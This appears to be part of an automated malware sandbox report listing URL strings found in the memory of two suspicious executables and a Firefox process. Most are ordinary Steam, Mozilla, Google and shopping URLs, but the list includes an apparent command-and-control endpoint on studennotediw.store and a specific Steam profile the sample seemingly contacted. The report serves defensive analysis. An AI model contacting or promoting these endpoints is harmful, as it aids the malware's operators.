Source: f84005b97f.exe, 00000009.00000003.2945007725.0000000000F39000.00000004.00000020.00020000.00000000.sdmp, f84005b97f.exe, 00000009.00000003.2945007725.0000000000F49000.00000004.00000020.00020000.00000000.sdmp, f84005b97f.exe, 00000009.00000002.2949821023.0000000000F49000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steambroadcastchat.akamaized.net
Source: f84005b97f.exe, 00000007.00000003.2823560713.00000000014D5000.00000004.00000020.00020000.00000000.sdmp, f84005b97f.exe, 00000007.00000002.2826347227.00000000014DA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.co
Source: f84005b97f.exe, 00000009.00000003.2944904365.0000000000F7C000.00000004.00000020.00020000.00000000.sdmp, f84005b97f.exe, 00000009.00000003.2945007725.0000000000EFE000.00000004.00000020.00020000.00000000.sdmp, f84005b97f.exe, 00000009.00000003.2947007476.0000000000F82000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com
Source: f84005b97f.exe, 00000009.00000003.2947007476.0000000000F82000.00000004.00000020.00020000.00000000.sdmp, f84005b97f.exe, 00000009.00000002.2949821023.0000000000F49000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/
Source: f84005b97f.exe, 00000009.00000003.2945007725.0000000000F26000.00000004.00000020.00020000.00000000.sdmp, f84005b97f.exe, 00000009.00000002.2949821023.0000000000F26000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/(Z
Source: f84005b97f.exe, 00000007.00000003.2812900969.00000000014D1000.00000004.00000020.00020000.00000000.sdmp, f84005b97f.exe, 00000009.00000003.2944904365.0000000000F7C000.00000004.00000020.00020000.00000000.sdmp, f84005b97f.exe, 00000009.00000003.2947007476.0000000000F82000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/?subsection=broadcasts
Source: f84005b97f.exe, 00000007.00000003.2812900969.00000000014D1000.00000004.00000020.00020000.00000000.sdmp, f84005b97f.exe, 00000009.00000003.2944904365.0000000000F7C000.00000004.00000020.00020000.00000000.sdmp, f84005b97f.exe, 00000009.00000003.2947007476.0000000000F82000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/discussions/
Source: f84005b97f.exe, 00000007.00000003.2812900969.00000000014D1000.00000004.00000020.00020000.00000000.sdmp, f84005b97f.exe, 00000009.00000003.2944904365.0000000000F7C000.00000004.00000020.00020000.00000000.sdmp, f84005b97f.exe, 00000009.00000003.2945007725.0000000000EFE000.00000004.00000020.00020000.00000000.sdmp, f84005b97f.exe, 00000009.00000003.2947007476.0000000000F82000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/linkfilter/?u=http%3A%2F%2Fwww.geonames.org
Source: f84005b97f.exe, 00000009.00000003.2947007476.0000000000F82000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/login/home/?goto=profiles%2F76561199724331900
Source: f84005b97f.exe, 00000007.00000003.2812900969.00000000014D1000.00000004.00000020.00020000.00000000.sdmp, f84005b97f.exe, 00000009.00000003.2944904365.0000000000F7C000.00000004.00000020.00020000.00000000.sdmp, f84005b97f.exe, 00000009.00000003.2947007476.0000000000F82000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/market/
Source: f84005b97f.exe, 00000007.00000003.2812900969.00000000014D1000.00000004.00000020.00020000.00000000.sdmp, f84005b97f.exe, 00000009.00000003.2944904365.0000000000F7C000.00000004.00000020.00020000.00000000.sdmp, f84005b97f.exe, 00000009.00000003.2947007476.0000000000F82000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/my/wishlist/
Source: f84005b97f.exe, 00000009.00000002.2949821023.0000000000F26000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199724331900
Source: f84005b97f.exe, 00000007.00000003.2823560713.00000000014D5000.00000004.00000020.00020000.00000000.sdmp, f84005b97f.exe, 00000007.00000002.2826347227.00000000014DA000.00000004.00000020.00020000.00000000.sdmp, f84005b97f.exe, 00000007.00000003.2812900969.00000000014D1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199724331900/badges
Source: f84005b97f.exe, 00000007.00000003.2813057343.0000000001437000.00000004.00000020.00020000.00000000.sdmp, f84005b97f.exe, 00000007.00000003.2812900969.00000000014D1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199724331900/inventory/
Source: f84005b97f.exe, 00000007.00000003.2812900969.00000000014D1000.00000004.00000020.00020000.00000000.sdmp, f84005b97f.exe, 00000009.00000003.2944904365.0000000000F7C000.00000004.00000020.00020000.00000000.sdmp, f84005b97f.exe, 00000009.00000003.2947007476.0000000000F82000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/workshop/
Source: f84005b97f.exe, 00000009.00000002.2949746243.0000000000F05000.00000004.00000020.00020000.00000000.sdmp, f84005b97f.exe, 00000009.00000003.2945007725.0000000000F05000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com:443/profiles/76561199724331900
Source: f84005b97f.exe, 00000009.00000002.2949821023.0000000000F49000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/
Source: f84005b97f.exe, 00000009.00000003.2944904365.0000000000F7C000.00000004.00000020.00020000.00000000.sdmp, f84005b97f.exe, 00000009.00000002.2949821023.0000000000F39000.00000004.00000020.00020000.00000000.sdmp, f84005b97f.exe, 00000009.00000003.2945007725.0000000000F39000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/;
Source: f84005b97f.exe, 00000009.00000002.2949821023.0000000000F39000.00000004.00000020.00020000.00000000.sdmp, f84005b97f.exe, 00000009.00000003.2945007725.0000000000F39000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/;Persistent-AuthWWW-AuthenticateVarysteamCountry=US%7Cbcfeb0e5371aba2
Source: f84005b97f.exe, 00000009.00000003.2947007476.0000000000F82000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/about/
Source: f84005b97f.exe, 00000007.00000003.2812900969.00000000014D1000.00000004.00000020.00020000.00000000.sdmp, f84005b97f.exe, 00000009.00000003.2944904365.0000000000F7C000.00000004.00000020.00020000.00000000.sdmp, f84005b97f.exe, 00000009.00000003.2947007476.0000000000F82000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/explore/
Source: f84005b97f.exe, 00000007.00000003.2823560713.00000000014D5000.00000004.00000020.00020000.00000000.sdmp, f84005b97f.exe, 00000007.00000002.2826347227.00000000014DA000.00000004.00000020.00020000.00000000.sdmp, f84005b97f.exe, 00000007.00000003.2812900969.00000000014D1000.00000004.00000020.00020000.00000000.sdmp, f84005b97f.exe, 00000009.00000003.2944904365.0000000000F7C000.00000004.00000020.00020000.00000000.sdmp, f84005b97f.exe, 00000009.00000003.2945007725.0000000000EFE000.00000004.00000020.00020000.00000000.sdmp, f84005b97f.exe, 00000009.00000003.2947007476.0000000000F82000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/legal/
Source: f84005b97f.exe, 00000007.00000003.2812900969.00000000014D1000.00000004.00000020.00020000.00000000.sdmp, f84005b97f.exe, 00000009.00000003.2944904365.0000000000F7C000.00000004.00000020.00020000.00000000.sdmp, f84005b97f.exe, 00000009.00000003.2947007476.0000000000F82000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/mobile
Source: f84005b97f.exe, 00000007.00000003.2812900969.00000000014D1000.00000004.00000020.00020000.00000000.sdmp, f84005b97f.exe, 00000009.00000003.2944904365.0000000000F7C000.00000004.00000020.00020000.00000000.sdmp, f84005b97f.exe, 00000009.00000003.2947007476.0000000000F82000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/news/
Source: f84005b97f.exe, 00000007.00000003.2812900969.00000000014D1000.00000004.00000020.00020000.00000000.sdmp, f84005b97f.exe, 00000009.00000003.2944904365.0000000000F7C000.00000004.00000020.00020000.00000000.sdmp, f84005b97f.exe, 00000009.00000003.2947007476.0000000000F82000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/points/shop/
Source: f84005b97f.exe, 00000007.00000003.2812900969.00000000014D1000.00000004.00000020.00020000.00000000.sdmp, f84005b97f.exe, 00000009.00000003.2944904365.0000000000F7C000.00000004.00000020.00020000.00000000.sdmp, f84005b97f.exe, 00000009.00000003.2947007476.0000000000F82000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/privacy_agreement/
Source: f84005b97f.exe, 00000007.00000003.2812900969.00000000014D1000.00000004.00000020.00020000.00000000.sdmp, f84005b97f.exe, 00000009.00000003.2944904365.0000000000F7C000.00000004.00000020.00020000.00000000.sdmp, f84005b97f.exe, 00000009.00000003.2947007476.0000000000F82000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/stats/
Source: f84005b97f.exe, 00000007.00000003.2812900969.00000000014D1000.00000004.00000020.00020000.00000000.sdmp, f84005b97f.exe, 00000009.00000003.2944904365.0000000000F7C000.00000004.00000020.00020000.00000000.sdmp, f84005b97f.exe, 00000009.00000003.2947007476.0000000000F82000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/steam_refunds/
Source: f84005b97f.exe, 00000007.00000003.2812900969.00000000014D1000.00000004.00000020.00020000.00000000.sdmp, f84005b97f.exe, 00000009.00000003.2944904365.0000000000F7C000.00000004.00000020.00020000.00000000.sdmp, f84005b97f.exe, 00000009.00000003.2947007476.0000000000F82000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/subscriber_agreement/
Source: f84005b97f.exe, 00000009.00000002.2949746243.0000000000F05000.00000004.00000020.00020000.00000000.sdmp, f84005b97f.exe, 00000009.00000003.2945007725.0000000000F05000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://studennotediw.store:443/api
Source: firefox.exe, 00000017.00000002.3094636474.000002882138F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3117080621.000002882433B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3091500089.000002881F803000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3090755070.000002881F703000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3097162174.0000028822B7E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org
Source: firefox.exe, 00000017.00000002.3134981536.000002882601C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3108949282.0000028823403000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000003.3053217524.000002882601C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/118.0.1/WINNT/en-US/
Source: firefox.exe, 00000017.00000002.3097162174.0000028822B6A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3089829933.000002881F2C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000017.00000002.3142479922.000002882B153000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3149714295.000002882B61F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/captive-portal
Source: firefox.exe, 00000017.00000002.3179092949.000002882E21F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: firefox.exe, 00000017.00000002.3123219764.0000028825119000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/firefox-crashes-troubleshoot-prevent-and-get-helphttps://support.mozi
Source: firefox.exe, 00000017.00000002.3093750856.0000028820AF0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/fix-video-audio-problems-firefox-windowsThe
Source: firefox.exe, 00000017.00000002.3093750856.0000028820AF0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/fix-video-audio-problems-firefox-windowsUse
Source: firefox.exe, 00000017.00000002.3128736954.0000028825EC8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3123219764.0000028825119000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/refresh-firefox-reset-add-ons-and-settings
Source: firefox.exe, 00000017.00000002.3123219764.0000028825119000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/refresh-firefox-reset-add-ons-and-settingsstartMigration
Source: firefox.exe, 00000017.00000002.3123219764.0000028825119000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/website-translation
Source: firefox.exe, 00000017.00000002.3123219764.0000028825119000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/website-translationtranslations-panel-error-load-languages-hint-butto
Source: firefox.exe, 00000017.00000002.3179092949.000002882E21F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.GVegJq3nFfBL
Source: firefox.exe, 00000017.00000002.3093750856.0000028820AF0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000017.00000002.3125275736.0000028825A86000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3125275736.0000028825A96000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3125000462.00000288256C5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://tools.ietf.org/html/draft-ietf-httpbis-encryption-encoding-02#section-2
Source: firefox.exe, 00000017.00000002.3093750856.0000028820AF0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000017.00000002.3125275736.0000028825A86000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3125275736.0000028825A96000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3125000462.00000288256C5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://tools.ietf.org/html/draft-ietf-httpbis-encryption-encoding-02#section-3.1
Source: firefox.exe, 00000017.00000002.3093750856.0000028820AF0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000017.00000002.3125275736.0000028825A86000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3125275736.0000028825A96000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3125000462.00000288256C5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://tools.ietf.org/html/draft-ietf-httpbis-encryption-encoding-02#section-4
Source: firefox.exe, 00000017.00000002.3093750856.0000028820AF0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000017.00000002.3125275736.0000028825A86000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3125275736.0000028825A96000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3125000462.00000288256C5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://tools.ietf.org/html/rfc7515#appendix-C)
Source: firefox.exe, 00000017.00000002.3108949282.0000028823403000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3091500089.000002881F803000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3090755070.000002881F703000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3097162174.0000028822B7E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://truecolors.firefox.com
Source: firefox.exe, 00000017.00000002.3091500089.000002881F803000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://truecolors.firefox.combrowser.migration.versiontestPermissionFromPrincipalbrowser.urlbar.sug
Source: firefox.exe, 00000017.00000002.3180688170.000022DAD3C04000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://twitter.com
Source: firefox.exe, 00000017.00000002.3143683785.000002882B2A2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3097162174.0000028822B1A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3179092949.000002882E20B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3180311343.000012316BF00000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3157463528.000002882B83C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3163888580.000002882BA30000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3097162174.0000028822BBF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3097162174.0000028822B4C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3163888580.000002882BA10000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000003.3050822463.000002882E0B9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://twitter.com/
Source: firefox.exe, 00000017.00000002.3091500089.000002881F8DF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3126440245.0000028825CC3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://vk.com/
Source: firefox.exe, 00000017.00000002.3091500089.000002881F8DF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3182405110.000037AF92204000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3142479922.000002882B108000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3163888580.000002882BA30000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3126440245.0000028825CC3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://weibo.com/
Source: firefox.exe, 00000017.00000002.3091500089.000002881F8DF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3163888580.000002882BA30000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3123219764.0000028825165000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3126440245.0000028825CC3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.aliexpress.com/
Source: firefox.exe, 00000017.00000002.3182405110.000037AF92204000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3163888580.000002882BA30000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.ca/
Source: firefox.exe, 00000017.00000002.3143683785.000002882B2A2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3179092949.000002882E20B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3180311343.000012316BF00000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3163888580.000002882BA30000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3173331545.000002882DF05000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3118828898.000002882445D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3175463259.000002882E047000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000003.3050822463.000002882E0B9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000003.3055688840.000002882E047000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000003.3052847397.000002882E04D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/
Source: 7e96f85771.exe, 00000008.00000002.3201117292.00000000299D1000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3097162174.0000028822B1A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3097162174.0000028822BBF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3097162174.0000028822B4C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_35787f1071928bc3a1aef90b79c9bee9c64ba6683fde7477
Source: firefox.exe, 00000017.00000003.2983132390.000002882376F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3117080621.0000028824396000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000003.2982268821.0000028823500000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3091500089.000002881F803000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3123219764.0000028825165000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000003.2982443745.000002882371D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3112181338.0000028823900000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000017.00000003.2982699498.0000028823738000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000003.2982871988.0000028823753000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000003.2983357091.000002882378A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3091500089.000002881F825000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3091500089.000002881F87B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000003.3044553062.000002882BA78000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/exec/obidos/external-search/
Source: firefox.exe, 00000017.00000003.3044201418.000002882BAB0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3163888580.000002882BAB0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3090755070.000002881F703000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/exec/obidos/external-search/?field-keywords=&ie=UTF-8&mode=blended&tag=mozill
Source: firefox.exe, 00000017.00000002.3182405110.000037AF92204000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3163888580.000002882BA30000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3181086426.00002AB6B1200000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.de/
Source: firefox.exe, 00000017.00000002.3182405110.000037AF92204000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3163888580.000002882BA30000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.fr/
Source: firefox.exe, 00000017.00000002.3091500089.000002881F8DF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3182405110.000037AF92204000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3163888580.000002882BA30000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3126440245.0000028825CC3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.avito.ru/
Source: firefox.exe, 00000017.00000002.3091500089.000002881F8DF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3182405110.000037AF92204000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3163888580.000002882BA30000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3126440245.0000028825CC3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.baidu.com/
Source: firefox.exe, 00000017.00000002.3182405110.000037AF92204000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3163888580.000002882BA30000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.bbc.co.uk/
Source: 7e96f85771.exe, 00000008.00000002.3201117292.00000000299D1000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3097162174.0000028822B1A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3097162174.0000028822BBF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3097162174.0000028822B4C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.bestbuy.com/site/electronics/top-deals/pcmcat1563299784494.c/?id=pcmcat1563299784494&ref
Source: f84005b97f.exe, 00000007.00000002.2826107059.0000000001481000.00000004.00000020.00020000.00000000.sdmp, f84005b97f.exe, 00000007.00000003.2823586577.0000000001481000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.cloudflare.
Source: f84005b97f.exe, 00000007.00000003.2812942208.0000000001481000.00000004.00000020.00020000.00000000.sdmp, f84005b97f.exe, 00000007.00000003.2812900969.00000000014C7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.cloudflare.com/5xx-error-landing
Source: f84005b97f.exe, 00000007.00000003.2812942208.0000000001481000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.cloudflare.com/learning/a.
Source: f84005b97f.exe, 00000007.00000003.2812900969.00000000014C7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.cloudflare.com/learning/access-management/phishing-attack/
Source: firefox.exe, 00000017.00000002.3091500089.000002881F8DF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3182405110.000037AF92204000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3163888580.000002882BA30000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3126440245.0000028825CC3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ctrip.com/
Source: firefox.exe, 00000017.00000002.3182405110.000037AF92204000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3163888580.000002882BA30000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ebay.co.uk/
Source: firefox.exe, 00000017.00000002.3182405110.000037AF92204000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3163888580.000002882BA30000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ebay.de/
Source: 7e96f85771.exe, 00000008.00000002.3168952289.0000000001482000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: f84005b97f.exe, 00000009.00000003.2945007725.0000000000F39000.00000004.00000020.00020000.00000000.sdmp, f84005b97f.exe, 00000009.00000003.2945007725.0000000000F49000.00000004.00000020.00020000.00000000.sdmp, f84005b97f.exe, 00000009.00000002.2949821023.0000000000F49000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com
Source: firefox.exe, 00000017.00000002.3134981536.000002882601C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3182405110.000037AF92204000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000003.3053217524.000002882601C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3163888580.000002882BA30000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/
Source: firefox.exe, 00000017.00000003.3034678162.000002882B735000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3123219764.0000028825119000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000003.3032497653.000002882B387000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000003.3044553062.000002882BA78000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/complete/search
Source: firefox.exe, 00000017.00000003.2983132390.000002882376F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000003.2982268821.0000028823500000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3157463528.000002882B810000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000003.2982443745.000002882371D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3112181338.0000028823900000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000017.00000003.2982699498.0000028823738000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000003.2982871988.0000028823753000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000003.2983357091.000002882378A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3091500089.000002881F87B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/complete/search?client=firefox&q=
Source: 7e96f85771.exe, 00000008.00000002.3168952289.0000000001482000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: f84005b97f.exe, 00000009.00000003.2945007725.0000000000F39000.00000004.00000020.00020000.00000000.sdmp, f84005b97f.exe, 00000009.00000003.2945007725.0000000000F49000.00000004.00000020.00020000.00000000.sdmp, f84005b97f.exe, 00000009.00000002.2949821023.0000000000F49000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/recaptcha/
